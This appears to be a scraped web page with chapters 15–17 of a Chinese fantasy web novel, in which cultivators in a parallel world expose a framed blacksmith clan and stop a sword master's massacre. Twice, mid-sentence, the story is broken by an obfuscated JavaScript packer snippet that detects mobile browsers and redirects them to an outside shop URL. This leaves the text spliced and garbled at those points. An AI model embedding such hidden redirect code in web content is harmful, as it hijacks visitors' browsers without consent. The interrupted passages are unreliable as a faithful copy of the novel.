她沉默着,整个人仿佛被定在那里。 顾钧寒…… 在她心里就那么重要吗? 她既不怕命脉被人扼住的危险,也不怕半妖身份被人拆穿万劫不复的后果,舍身舍命也要保护他。 也许她早就应该想明白,这个人在自己心里究竟是有多重要。 重要到,连伏心树都要逼着自己去厌恶他。 然后她就真的讨厌了他一辈子。 哪怕他什么都没做,哪怕他只是安静地在自己身边待着。 15. 第 15 章 “师姐,金明台的火已经灭了。” 三人之外的一道声音传来,楼明月动作一僵,循声看去。 是十七岁的顾钧寒。 这场遍布晋安城的大火,的确已经熄灭了,虽然还不知道是何人所为。 失去灯火的街道沉入一片昏暗,空气里仍残留着焰火余温,混合着呛鼻的焦糊气息。 顾钧寒孤身伫立,神情隐在暗影里,叫人看不真切。 他的视线缓缓扫过地上的两个小家伙,眸中掠过一丝不易察觉的亮色。 小明月看着对面的顾钧寒,睁大了眼睛问道。 “大姐姐,你也有师弟吗?” 楼明月发出一声轻浅到若有似无的笑音,点了点头。 小明月闻言变得紧张起来,眼里是止不住地慌乱。 “那…那你也是玉京的修士了?” 她伸手拽住楼明月的裙摆,神色恳切道:“刚刚的事情,求你不要说出去,不然……我师父会烧掉我的。” 一旦半妖身份暴露,给师父蒙羞,自己就会像昔日的?貐妖族一样,被烧死在大绯山。 她从小就这么想。 楼明月认真地看着她,最后俯下身子,温柔地拂过她的脸颊。 “真的害怕的话,以后不要再这么冲动了。” 她摇了摇头,眼中的害怕褪去了几分,稚嫩的声线却透着一股坚定。 “再来一次,我绝不会这么做才算是冲动。可是,不论重来多少次,我也会这么做的。” 她低头,看了一眼怀里昏厥过去的师弟,闷声道:“我还是要救我师弟,就算换我被烧掉也没关系。” 楼明月手上动作一滞,被她的话震住了。 难以想象,这竟然是以前的自己。 到底还有多少是她不知道的? 她在心底叹了口气, 行吧,小犟种。 “我会帮你保守这个秘密的。” 在并行世界里遇到九年前的自己,只是一场意外。 她来这里的主要任务,是找到被执念改写的因果,然后拨乱反正,收集这一块归墟秘境。 所以她很快辞别了小明月,朝着皇帝的金明台走去。 她问顾钧寒:“这里的火是谁灭掉的?” “这人你认识。”他回道。 “三圣山的掌教拂雪,不过,他跟我们认识的那个拂雪,有些不一样…” 拂雪? 楼明月闻言眉头微扬,有些难以置信。 拂雪是茯苓的师父,三圣山最有名也最年轻的掌教医士。 虽说医术精湛,可年轻时修为怎得也这般厉害,掺了火曜石的异火,他竟能瞬息就灭? “他…是这个世界的执念者?” 顾钧寒笑了一下,没吭声。 久久等不到回应的楼明月,偏头不解地看向他。 他挑着眉,嘴角噙着一抹笑意,看起来神清气爽,还有几分得意。 “师姐先回答我的问题,我就告诉师姐。” 楼明月看他这副模样,倒是少见。 “你想问什么?” “九年前的事,师姐都记起来了?” 楼明月瞥了他一眼:“差不多吧。” “至少我知道你骗了我。” 顾钧寒闻言神色一顿,这怎么跟他想象中的不太一样? 她抬头,眉梢轻挑,审视地看着他:“妖珠是我给你救命使的,不是什么定情信物。” 他那日言之凿凿的定情信物,气得楼明月快要吐血,原来全都是胡诌的。 顾钧寒:…… 单方面定情也算是定情了。 “顾钧寒。”她叹了口气。 “以后不要再挡在我前面了。” 留下这么一句话后,就快步向前走了。 …… 两人赶到的时候,周漾三人也差不多来齐,事态已经发展到了最“热闹”的阶段。 老皇帝在这场事故中重伤驾崩,几个儿女跪在地上掩面啜泣。 皇帝一死,他们的心思就全都扑到了那个九五至尊的位置上。 但在太后娘娘的威压下,不得不先收起贪欲,找到这次事故的元凶。 这把浴火剑,是老皇帝生前钦点,由王族最好的工匠,陆柳两氏合力锻造。 柳家家主柳宴奚,负责整形修坯;陆家家主陆统,负责最后的淬火开锋。 但在这最后一步,却突然出了这样的事故,陆家怎么也脱不了干系。 全族上下百余户,都被金羽卫押解上街,刀抵细颈。 包括在这个世界里,尚才六岁的孩提——陆南星。 他一脸茫然,稚嫩的皮肤被粗粝的麻绳勒出道道深紫红痕,但凡哭一下,就会被身后高大凶悍的金羽卫警告。 远处观察局势的周漾啧啧两声,道:“你家看起来是大难临头了啊!” 陆南星:“这确实是我家的一场大劫。不过,最终查出来错因不在我家,只落得流放,没有斩首。” “流放?”茯苓不解。 “可我瞧你家明明好好的,不是还住在晋安城里吗?” “那全是看在我娘的面子上!” 他昂了昂脑袋,一脸骄傲。 “我娘是养在太后膝下的义女,火势爆发的时候还护了大长公主一命,这才赦免我们家这一系分支。” 对面金明台,已经检灭城中大小所有异火的拂雪姗姗来迟。 在场所有人,哪怕是坐在太师椅上凤仪万千的太后娘娘,全都站起身恭敬地迎接这位“救世主”。 这是二十一岁的拂雪,剑脉未毁,还未改修医道。 少年眉眼疏朗俊逸,一袭素色劲装步履翩然。水墨色玉扣系在莹白剑鞘上,悬于劲瘦腰侧,青锋藏拙,公子如玉。 “我师父真帅!” 茯苓捧着脸,满脸花痴相。 周漾瞥了她一眼,态度强硬地打断:“你给我歇歇,那可是你师父,你少起歹心!” 茯苓双手环抱,不服气地哼了一声。 拂雪回礼作揖,看向太后道: “城内城外的火已经悉数灭了,我仔细检查过百姓们的伤口,此火有蹊跷,非寻常意外可为。” “这群猢狲,哀家就知道!” 太后头疼地揉了揉脑袋,随即感激地看向他。 “还未请教英雄尊姓大名,今日搭救之恩,我王族必将倾力回报!” “不必了。” 拂雪果断拒绝,眼中没有分毫动容。 “我下山历练,救人济世是本分。” “只是这火里面掺杂的是火曜石,玉京早在十几年前就开始收集这石头的残片,如今中州知情不报,定会受到玉京的问责。” 太后闻言手一抖,手中珠串随之掉落。 她料到了火有蹊跷,却怎么也没料到竟是传说中的火曜石。 火曜石,是整个玉京的禁忌。 昔日也算名门鼎宗的千山派,正是因为有人私藏炼化了火曜石,四姓族人只剩下一姓苟活,给玉京带来的麻烦更是后患无穷。 中州一向仰仗着玉京,才能不被毗邻的妖魔之地瀛洲所侵扰。 如今却被发现州内藏有火曜石的残片,还是在铸剑大典上爆发的,未免教人误会,是为了宝物而阳奉阴违。 太后心头一紧,连忙解释。 “火曜石融剑非我人族本意,恩师放心,我一定会查明真相,给玉京的诸位上宗一个答复!” 她神色急转直下,看向一旁的两人。 “柳宴奚,陆统,你们两个蠢货!让你们铸剑你们却搞成了这个样子,还不速速招罪!” 柳宴奚立马跪了下来。 “请太后娘娘明鉴!这把浴火剑经我手锻造时无分毫差池,大典开始前我也交由陆统验过剑。如今出了错,实在与臣不相干啊!” 陆统早被戴上镣铐枷锁。 先前被异火炸伤了胳膊,此刻疼痛难忍,脑袋一片晕眩。 别说与柳宴奚公堂对证了,他连柳宴奚的人影在哪儿都辨不清。 关键时刻,一位年轻的夫人闯入,直直跪倒在太后脚下。 那是陆南星的母亲,也是太后的义女——王姝。 “娘娘!娘娘明鉴啊!区区淬火开锋罢了,左右又能做出什么花样来?” “不过是有人在铸剑池里动了手脚,要陷害我淮安陆家啊!” 太后狠心踹开了她:“蠢货!那也是陆统看管不力,你以为他能脱得了关系?!” 明眼人都看得出来,陆家是被坑了。 但没有证据的事情,真的也是假的。 揪不出真凶,陆统就是真凶。 揪出了真凶,陆统也是次凶。 拂雪适时开口:“我这儿有藿虫一只,或许可以帮助太后找到背后主谋。” 王姝激动道:“天师请讲!” “藿虫对气息敏感,能够嗅到辨认的信息因是普通人的数百倍。偏火曜石无法轻易抹去气息,谁的手上沾染过火曜石,藿虫便会飞向谁。” 话毕,他从袖口掏出一个阴槐木做的小葫芦瓶。 打开之后,里面的虫子动了动翅膀,逐渐被新的空气环境唤醒。 三鼻重翼的藿虫飞了出来,嗅了嗅拂雪遂玉剑上残留的异火气息,很快便震着翅膀,跌跌撞撞朝一人飞去。 细弱的虫足在空中摇晃,最终落在一副沉重的枷锁之上。 那个人,还是陆统。 他意识浑噩,殊不知自己已被“判官”选中。 在场众人无不惊奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091186|194965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 王姝更是倒吸了一口凉气,一双丹凤眼瞪得不能再大。 太后目光一顿,不动声色地偏眸看了一眼拂雪,神情变得复杂了起来。 楼明月直白道:“你师父,在作伪证。” “人族识海闭塞看不出异端,可你我却能清楚地看到,他对那只藿虫施了法。” 她转头,看向一旁的陆南星。 “在你的记忆里,那日藿虫也飞向了你叔伯陆统吗?” 陆南星目瞪口呆,果断摇头。 她点了点头:“看来,这就是被执念改写的事情了。” 周漾看茯苓一脸难以置信,安慰道:“你别急,掌教的为人我们都清楚。更何况,他不是这个世界的执念者,即使作伪证也不是他自愿的。” “这个世界的执念者嘛,藏得够深的,到现在还没出场。” 楼明月是半妖之身,顾钧寒是天生就被选中的邪神,陆南星生在中州。 茯苓的父亲也是大妖,虽然她没有继承到妖的血脉,但仍然算不上正统的玉京修士。 这五个人里,唯一能够感知到执念者的,就是周漾了。 陆南星看着局势一脸愁容。 “怎么办,现在被斩首的是我家了,我娘就是救了天王老子,也没有这么大的脸能赦免诛九族的死罪啊……” 周漾:“怎么办?那就改回去呗!” 他单手捏诀,灵气从指尖迸发,朝着远处的人群疾速飞去。 他要反控那只藿虫,让他落到本该落的位置。 远处设起一罩屏障,将他的灵气悉数稀释消解。 换言之,这里是执念者的世界,他们六个被人家屏蔽了。 楼明月见状不好,立刻追加术法。 淡蓝色的光芒在屏蔽罩上乍起波澜,一圈一圈,起起伏伏,尝试着打通整个屏蔽罩的脉络。 破开术法屏蔽罩,基本有两种方法。 要么以绝对的武力镇压,攻破它的抵御上限,一寸寸震开整个屏蔽罩;要么用自己的灵气打通它运行的所有脉络,反向掌控这方屏蔽罩。 楼明月采用的是第二种。 因为那屏蔽罩就像个无底洞,一边抵御攻击,一边吸收攻击者的灵气,转化为自己防御的一部分。 可以说是,有下限没上限。 楼明月脉中的灵气不断流失,双臂已经开始些许颤抖。 顾钧寒和周漾当即把自己的灵气渡给她。 三个人的力量编织为一股,再次击中屏蔽罩时,犹如潜龙探洞,撼动千尺幽潭的每一滴沉水。 楼明月最终打通了它的所有脉络,原本整体的屏蔽罩豁开一幕小口。 “茯苓,快去!赶在陆家被斩首前拨乱反正!” 三人已经和屏蔽罩建联,动弹松懈不得。 茯苓和陆南星会意,立刻穿过洞口,出现在众人眼前。 在众其他人的视角里,这两个人是毫无预兆凭空闪现的,惊吓了在场不少人。 茯苓顶着他们惊恐的目光讪讪笑了两声。 陆南星眼疾手快,一把夺过太监手里的圣旨,死死抱在怀里。 太监被吓得退后半步,随即兰花指一翘,声音尖锐。 “你…大胆!!” “哪儿来的毛头竟然敢抢圣旨?!” 太后顿时眉头紧蹙。 “你们是什么人?” 拂雪扫了一眼茯苓,眉头微挑,清冷的神情带着几分凛然刻薄。 “杂脉种。” 茯苓闻言心头猛地一颤,震惊地看着他,眼圈很快泛红。 天翎宗有很多人在背地里这么骂她,但这是第一次,她在教养自己长大的师父口中听到这个称呼。 杂脉种,是指血统病变的人妖后代。 只有母亲在怀胎时,对另一半极致抵触、憎恶,才会出现这种情况。 大妖血脉和修士血脉相冲,婴儿只继承到了两族缺陷。 举个例子,妖族的寿命较长,化形人身后大概过个七十年身上就会有腐气,但也并不麻烦,只需妖力压住这股腐气即可。 但茯苓,没有可以修炼妖力的妖印,并且一出生身上就伴随着腐气。 这股腐气于她一具凡躯有害,让她的寿命注定长不过二十。 茯苓大多数时候都待在三圣山的药圃里,浓重的药气能够压盖她身上的腐气;即使离开药圃,腰上也会挂满一圈花香四溢的小荷包。 所以,只要旁人不是有心嗅察,基本上不会知道她的身份。 这个时候的拂雪,还不认识茯苓,脱口而出便是一句“杂脉种”。 殊不知再过两年,等他从天之骄子的神坛跌落时。 正是他口中的杂脉种,那个怯懦真诚的孩子,将他从自缢的边缘拉了回来。 16. 第 16 章 周漾平时虽然喜欢和茯苓拌嘴,但也知道她心里最敏感的地方就是血统,纵是吵翻了天,也半个字都不敢往这方面吵。 此刻他瞪着拂雪的背影,心急如焚:“这混蛋!让我进去我非撕烂他的嘴不可!” 陆南星没听过这个称呼,看到茯苓情绪低落,立刻猜出这是一句骂词。 他挡在茯苓身前:“有什么就冲我来!不准欺负我师姐!” 拂雪冷笑一声,“你?你比她强不了多少。” “你、你这样傲慢的人,你凭什么啊?!” “身为修士,却欺负中州百姓们看不出猫腻,用藿虫胡乱给人定罪,你就是个败类!简直给玉京蒙羞!” “我蒙骗百姓,胡乱定罪?”拂雪嗤笑一声,环视了一圈在场众人。 “我下山历练途经此地,灭火救人、藿虫寻凶不过都是徒手之劳。你们若是心中存疑信不过我,我走便是!” 他刚刚灭掉那场肆虐的异火,在百姓们眼里是如同救世主一般的人,他的威信绝不是陆南星三言两语就能撼动的。 “恩师留步!”太后当即拦住了他。 “恩师于我中州有救命之恩,我们怎么可能不相信恩师呢?” “来人!把这两个捣乱的东西给我压下去!” 收到命令的金羽卫即刻动身,每个人手上都握着一把玄铁大刀,寒光一现,将两人团团围住。 茯苓没将他们放在眼里,虽然是医修,但从小在天翎宗长大多少也学了点拳脚功夫。更别提一把特调的软毒粉下去,已经麻痹了他们的四肢。 她直直盯着拂雪,眼神坚决,带着股小鹿般的澄澈与倔强。 不论是在哪个世界,人的善恶底色都不会变。 而茯苓,她相信拂雪远超过相信自己。 “师父!你清醒一点!你现在是被人控制了,真正的你绝对不可能替人作伪证的!” “师父?” 拂雪眼中闪过一抹错愕,随即眉头紧蹙,冷下脸,眼底是止不住地厌恶与嫌弃。 他冷笑连连,言语讥讽:“区区一个杂脉种,也配肖想做我的徒弟?” 这副陌生的嘴脸,别说茯苓了,就连楼明月和周漾也从未见过。 楼明月仍在源源不断地输送着自己的灵气,闻言也是一惊,难以置信地抬起头。 “他…是不是被人下咒了?” 顾钧寒神情戏谑,脸上无分毫意外,“也许这才是他本来的样子。” 周漾则满脸懊悔:“都怪我,我就不该让她去的!你听听他说的是人话吗?!” “不怪你。” 楼明月眼神微眯,视线盯着屏蔽罩内的情况,空出的右手掐了另一种短诀。 “不管他原本是什么样,都得变成我师妹喜欢的样子。” “丝引,身随,吾令,勿违。” 空灵的声音响起,指尖酝酿多时的金光即刻冲了出去。 缕缕金光如同金针般飞射而去,穿过罩洞碰到拂雪时,又化作绵软缠绕的丝线,一缕一缕趁其不觉,化入体内,钻入他四肢的各个关节。 楼明月设下的,是牵丝引魄傀儡术。 虽然是小把戏,可抵不住出奇制胜。 等到拂雪有所察觉的时候,金丝已经蹿入大脑,要么放开控制权任人摆布,要么立刻被刺成筛子—— “你说得对……” 拂雪身形踉跄,忽然一反常态。 抬起头换了副神情,眼神温和地看向茯苓,“我方才的确是被人摄了心窍,对你言语过重,实在抱歉。” 他咬牙,被逼道:“姑娘生的漂亮,还望…莫跟我这浅陋之人计较。” 茯苓闻言微愣,一下一下地眨了眨眼睛,湿漉漉的双眼重新亮了起来。 师父从来不会夸她漂亮,顶破天也只会说一句“可爱”。 他突如其来的转变,让太后等人晕头转向,不知所措。 “恩师…您现在是何意啊?” 太后不解地开口,抬手止下了身后拔刀的金羽卫。 “这位公子说得对,”拂雪偏头,看向陆南星,“中州人的案子用玉京的法子来破,未免有蒙蔽百姓之嫌。” “镇火珀是你们人族的精矿所产,用它来验也是一样的。” 他旋即施法,从地上破败的废墟堆里找到两块儿遗落的镇火珀。 “第二次爆炸是镇火珀不敌火曜石引起的。谁碰过火曜石的粉末,再握镇火珀,必定会被灼伤!” 两块儿火曜石凌空飞来,分别悬在柳宴奚和陆统身前。 他道:“二位,自证清白吧。” 陆统的脑子清醒了些,看着面前的镇火珀,和地上一圈被押解的族人,想也没想双手直接握了上去。 镇火珀并未将他灼伤,在场的陆氏族人瞬间松了口气,劫后余生,连架在脖子上的刀也不那么害怕了。 柳宴奚的手臂轻颤,面上神情有些抗拒,在众人催促的目光下不得不伸手接过。 他握着镇火珀,本想咬牙强忍住痛感,谁料掌心的血管被灼穿,血液流淌直下。 王姝见状,立刻叩地大喊: “请大娘娘明鉴!私藏火曜石酿下大祸的,分明是他城南柳氏!” 太后深深叹了口气,声音严肃道: “柳宴奚,你还有什么要说的?” “皇帝待你不薄,哀家待你不薄,究竟是什么泼天大恨,非让你拉上整城人的命不可?!” “什么不薄……”他忍痛冷笑着。 抬起了伏低的头,眼神癫狂至极,脸上不见分毫悔意,不甘心地吼道: “单论技艺,我柳宴奚不比他陆统差!不比任何人差!若不是你那养女下嫁到了陆家,你心有偏颇,我怎会次次被陆统压上一头?!” 他瞪着远处的王姝和陆统,眼里的恨意如有实质,恨不得将他们千刀万剐。 陆南星向旁侧移两步,挡住了他看向母亲的视线。 太后气的身子发抖,蓦然上前,愤恨地给了他一巴掌。 “啪”的一声脆响,他跪得笔直的身子,不受控制地歪到在地。 “你有几颗脑袋?妒心作祟就敢谋害帝王?!我要让你柳家九族尽诛,九族之外,世世代代逐出中州——” 柳宴奚眼中的嫉妒渐渐冷却,取而代之的是被冲昏头脑后迟来的恐惧。 现在被金羽卫刀抵脖颈的是陆氏族人,马上就会变成柳氏族人。 他摇头,声音哽咽:“我没有…我没有想过谋害皇帝!我只是没料到火曜石的威力有如此之大!” “求娘娘…看在我为皇室卖力多年的份儿上,饶我妇幼一命吧!” “爹——” 远处传来一声叫喊,披着一袭鹅黄斗篷的少女闯入了众人的视线。 小姑娘尚未及笄,头顶挽着一对圆滚滚的总角,黑缎子似的发丝衬得小脸愈发白净。 头上系着素色绸布,鬓边碎发温顺地贴在颊侧,长长的睫毛投下一小片阴影,唇角抿得淡淡的,瞧着很冷静,眉宇间有着超出这个年纪的沉着。 柳朝云,柳家新认回来的女儿。之前因为后宅不宁,一出生就被奶母掳走遗弃,流落在外数十载。 “爹,我不会让柳家出事的。” 她俯下身子,只旁人一半大的手,安慰地拍了拍柳宴奚的身子。 远处的周漾笑了一声,“出来了。” “她就是这个世界的执念者,没想到竟然是个丫头片子。” 柳朝云转过身子,眉头蹙起,一脸怨气地盯着拂雪。 “还记得我吗,阿卓。” 他愣了一下,不可思议道:“你叫我什么?” 她讥讽地勾起唇角,“怎么,好歹一起相依为命流浪了几载,你一朝飞黄腾达去了玉京,就不记得我了?” “小玉儿…你是小玉儿?!” 他瞪大了眼睛,认真地盯着面前的柳朝云,略掉锦衣华服,她的面容逐渐与记忆中的那个身影相重叠。 “你没死,你还活着?”他叩住她的肩膀,神情兴奋道。 拂雪并非从小就在玉京长大,在没有遇见黄明长老前,他也只是混迹在破庙里的流浪儿。 在那座破败的娘娘庙里,生活着许多落魄的乞丐。 其中有一个失去孩子的疯女人,怀里抱着一堆干草,整天自言自语地哄孩子。 可是有一日,她怀里的干草娃娃成真了。 阿卓听到了婴儿的哭声,整日整夜、没完没了的哭声。 他好奇地走了过去,不知这个疯女人是从哪儿捡来的婴儿,打眼一看就知道是大户人家的孩子。 她身上包裹的都是昂贵的丝绸,脖子上挂着一个玉坠子,睁不开眼,拳头在空中胡乱地抓握。 他眼疾手快,将玉坠子扯了下来藏在怀里,拿去当铺换了些碎银,日子好过了不少。 后来,疯女人出去讨吃食被人打死了,这个孩子就被丢在娘娘庙的角落里,嚎啕大哭着没人管。 阿卓听着她的哭声,心里有些过意不去,想着既然拿了她的玉坠子,总不能看她被活活饿死。 总之,先喂她一顿,平平自己的良心再说吧。 有了第一顿就有第二顿,有了第一日自然也有第二日。日日复日日下去,小玉儿就这么长大了。 阿卓渐渐把她当成了自己的亲妹妹,有什么东西都要先紧着小玉儿。 景明四十七年,中州迎来了最大的一场暴雪。 阿卓生了一场大病,倒在娘娘庙里高烧昏迷不醒。 路过此地的长老黄明好心为他诊脉,见他根骨不错,天生剑脉,便将他带回了玉京。 小玉儿冒着风雪上山采药,回来时阿卓却已经不见了踪迹。 阿卓在天翎宗醒来,吵着闹着要回中州找小玉儿,黄明陪他在中州寻了月余,怎么也找不到那个孩子的身影。 他们说,暴雪冻死了不少乞丐,有的被拉去了乱葬岗,有的就埋在城边街道的皑皑白雪下。 他以为小玉儿死了,伤心难过了好一阵才肯接受这个事实。 后来摇身一变,成了黄明长老的座下弟子,拂雪。 黄明因着愧疚,众多弟子中一直对他偏爱有加。再加上他也足够争气,入宗短短几载便能跻身弟子榜前列,让他的性格愈发高傲。 拂雪不知道小玉儿没死,更不知道她是柳家的五小姐——柳朝云 命运作弄,再相见时已是金明台之变,他亲口宣判了自己父亲的罪行。 柳家满门抄斩,陆家除却陆远一脉举家流放。 即使后来的柳朝云被拂雪救走,心里的恨与执念却疯狂滋长,锥心刺骨,始终无法释怀。 她的执念,就在归墟化为了一股力量,一方由她执念所改写的并行世界。 “八年前是你抛弃了我去玉京,如今我好不容易找到了自己的家,你又要毁了我的幸福吗?” 柳朝云盯着他,犀利地质问道。 拂雪呼吸停滞,心脏被她充满隔阂和憎恶的眼神攥紧,疼得难以喘息。 他连连摇头否定,张口却有些哽咽,“小玉儿,我没有…我可以对天起誓,我从来没有想过要抛弃你!更不想毁了你的幸福!” “我、我找了,我在中州怎么都寻不到你,我以为你死了,我不知道你是城南柳氏的人……” “你现在知道了!”柳朝云打断了他。 忽地伸手,攥住拂雪的小臂,蛊惑似地道:“如果你真的想我好……” 她扭头环视,陆氏族人的身影一一倒映在她年轻的瞳孔里。 随即哂然一笑,用最稚气的声音,说出最骇人的话,“阿卓哥,只要你杀了他们所有人,一切就还来得及,我们之间就没有那么多隔阂了。” “……” “……” 拂雪瞳孔微缩,欲言又止道:“小玉儿,你知道自己在说什么吗?” 她闻言一默,神情慢慢冷了下来。 “你不肯?” “我……”拂雪不知该如何作答。 她神情讥笑,眼眶通红,失声地吼道:“你知不知道,在这个世界上我最恨的人就是你!” 她哽咽道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098943|194965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “旁人怎么样对我我不在乎,可是你不能……你不能和他们一样对我!” “你说你会一辈子保护我,可是你扭头就丢下我一个人,八年前的雪那么大,我连一双完好的草鞋都没有,为了找你赤着脚跑遍了整个晋安……” “你说你会赶走所有欺负我的人,可现在你回来了,你成了威风凛凛的仙长,你却帮着他们来欺负我!让我落得满门抄斩家破人亡的下场!” 她仰头望着他,眼底翻涌的情绪尽数化作滚烫的泪。 汹涌的泪水砸在他的手背,带着窒息灼人的温度。 “我想过原谅你的,可你为什么总是这样对我呢?轻而易举就摧毁了我的所有……我恨你!我真的恨死你了——” 拂雪心头一颤,听着她的谴责,眼眶愈来愈红,逐渐被愧疚淹没。 他终于抬起头,决心道: “……我帮你。” 他攥紧了手中长剑,在心底做好了取舍。 见他要动手,茯苓急道:“师父!你若伤及无辜与剑心相悖,是会被剑脉反噬的!” 远处的楼明月看着这一幕,直白道:“他迟早有这么一遭。” “不论在哪个世界,柳朝云总是能说动他。他正是剑脉被毁,被贬到三圣山从医,才遇到了茯苓。” “当初是黄明长老拦住了他才没酿成大祸,如今…只能靠我们来拦了。” “师弟,你…” 明月偏头,发现顾钧寒略有出神,视线盯着眼前的拂雪和柳朝云,神情中竟有一丝艳羡流露。 “你在想什么?”她问。 他勾了勾唇,意味不明闷声道: “他虽然糊涂,却是个重诺之人。” 重诺之人? 楼明月眼眸微垂,心下了然。 阿卓说过会保护小玉儿一辈子,就像她也曾说过,会保护师弟一辈子。 人年纪轻的时候,大概真的不知道誓有多重。 随随便便对天起誓,信得人等了一辈子,最后痴狂落幕,回头看,竟然只是为了一句轻飘飘的话。 誓言易改,怨愤难歇。 “你来太清宫做我师弟吧,这样我就能保护你一辈子了!” “我知道妖珠很重要,可是师弟在我心里更重要啊。” “再来一次……我还是要救我师弟,就算换我被烧掉也没关系。” …… 小明月的声音在脑中回响,那些画面一幕幕被唤醒,她再也无法忽视眼前顾钧寒的落寞。 他也是个信了一辈子的人。 守阙抱残,最后死在自己随手捡来的一把钝剑下。 楼明月叹了口气,犹豫再三,只敢道:“你不必点我,他日你大祸临头,我未必不会护着你。” “我信。”顾钧寒毫不犹豫地接过。 “师姐放心,我会拦下他的。” 顾钧寒断开了对屏蔽罩的灵气供给,屏蔽罩立刻反向褫夺楼明月和周漾的灵力。 他趁机冲了进去,成为众人眼前第三个凭空闪现的人。 “顾师哥,你怎么也进来了?”陆南星眉头微扬,有些惊讶。 他冷冷地嗤笑一声,满脸不屑: “我不来,你就等死了。” 拂雪的“风吟九式”,在这一年已经修炼至最高式——罡风吟。 他腰间长剑脱鞘而出,在晋安城的天空纵横盘旋,看似毫无章法,实则是在用剑气结阵。 剑过处,罡风呼啸。 淬着凛冽杀意的剑气与之交融,化作吞天吞噬地的洪流,将所有陆氏族人尽数笼罩,锐势难当。 茯苓想要阻止他的剑阵,却被强势的罡风震飞在地。 她看着眼前狠戾的拂雪,和自己印象里温厚近人的师父,简直判若两人。 他放声喝斥道:“我无意取你性命,滚开——” 她攥住衣摆,不甘心地质问。 “为了一个人,要赔上成百上千人的性命,这么做真的对吗?!” “对与不对,老天自会惩我!哪怕是刀劈斧砍我也甘愿领罚!” 他为了小玉儿,什么都肯做。 但他心心念念的小玉儿,早在风雪掩尸的那一年就已经死了。 活下来的,只是柳朝云。 空中酝酿多时的剑阵落下,巨大的风压逼得所有人跪地俯身。 长剑即将夺人性命之际,顾钧寒调动了体内邪气,剑阵如粉尘般被碾灭。 余下的风波全都朝一人袭去。 柳朝云身躯一震,摔倒在地。 拂雪被剑脉反噬,陆南星趁机压住了他,茯苓则夺走了他的佩剑。 顾钧寒逐步朝她逼近,柳朝云看着面前男人阴狠的气势,吓得缩了缩身子。 他伸手,宽厚的大手毫不留情地扼住她的脖颈。 窒息感袭来,柳朝云难受到了极点,锐利的指甲死死嵌入他臂膀皮肉。 “要么执念消散,要么滚回你该呆的地方。” 该呆的地方,是指容纳所有执念的归墟。 这些执念从归墟跑出来,都是受到了执念主人的召唤与指引。 她们想让自己的执念世界,取代这个原本的世界。 所以从某种程度上来说,这些不同的执念,它们之间也是一种竞争关系,就比谁先占据这个原本的世界。 “我不过是想给自己寻到另一个结局,又有什么错!难道你就不曾有过执念吗?!” 柳朝云感应到了什么,看向他的视线逐渐变得犀利。 “装得什么冠冕堂皇,这执念幻化的三千世界里,分明也有你的一份!” 她怒目圆睁:“我会在归墟等着你,等着你幻梦被打碎的那一天……” 顾钧寒听后神色顿变,凌厉的眉头蹙起,眼神沉沉如墨,臂膀上青筋暴起,力道大得骇人。 “咔哒”一声,柳朝云被生生扼断了脖子。 她的身影倏然消散,凝作一块儿莹润剔透的白水晶。 周围的世界开始扭曲,如潮水般朝它涌去,全都被这块儿水晶卷入其中。 17. 第 17 章 执念者消散后,众人都回到了原本的世界。 彼此之间没了屏障,周漾快步走过去,把跌在地上的茯苓拉了起来。 用自己宽大的袖袍掸去她身上的尘土,挑了挑眉头,哼哼道: “现在知道你师父是什么人了吧?我看你以后还敢不敢追在他后面当跟屁虫……” 茯苓推开了他的胳膊,拧着眉头,不服气地反驳,“那不是我师父!” “嘿,你这犟丫头,岁数不大脾气倒不小!” 茯苓被他一激,鼻尖酸涩,眼泪毫无预兆地涌了出来,崩溃吼道: “他不是我师父,我师父根本不是那样的人!” 她咬着牙抬起胳膊,狠狠抹掉颊边的泪,脚步迈得飞快,任谁也拽不住。 “师姐!”陆南星唤了一声,抬腿追着她去了。 楼明月看着她的背影,摇了摇头: “你别惹她了,她从小跟着拂雪长大,这些事情需要时间慢慢接受。” 这话不说还好,一说周漾就更来气了。 “怎么?她就跟拂雪一个人亲啊?她小时候的尿布都是我洗的!” “大冬天翠微山的水都冻成冰了,我还要去给她洗尿布!就连那尿布,那都是从我衣服上裁下来的……” 又来了。 楼明月抬手堵住了耳朵,不愿再听他的喋喋不休。 她看着眼前面色苍白,魂不守舍的顾钧寒,问道:“你怎么了?” 想起柳朝云在消散前,凑在他耳畔说了一句话,那句话一出,顾钧寒浑身的气场就变了。 只可惜隔得太远,楼明月实在没听清,便问道:“她跟你说什么了?” 顾钧寒闻言瞳孔微颤,须臾间换了副神情。 怕她察觉出异端,眯着眼睛笑道: “只是几句挑衅而已,师姐不必费心。” 他把那块儿白水晶递出,楼明月顺势接过,投给了执事录。 册子悬于半空,如卷轴般铺展,感应到白水晶的气息后,星信地图上中州的轮廓线开始闪烁。 与之同样亮起白光的,是毗邻的瀛洲。 以温珒怀为首的玄英宫,先她们一步拿到了妄念水晶。 瀛洲的轮廓线亮起,白光缕缕分化,在地图上慢慢拼凑成几个字。 ——两天半。 ——太慢。 这是温珒怀对她们中州之行的评价,楼明月想了想,回了她一句。 ——谢谢关心,我是周漾。 对方瞬间熄影闭麦。 她收起执事录回头时,周漾还在喋喋不休,甚至和贺玄音吵了起来。 “什么叫跟我关系不大?” 他撸起袖子理论道:“小孩儿就是不会走、不会说的时候最闹腾,她那个时候可都是我带来过的,你出过一个手指头的力气吗你?!” 贺玄音白了他一眼,点头附和道:“是,是你。” 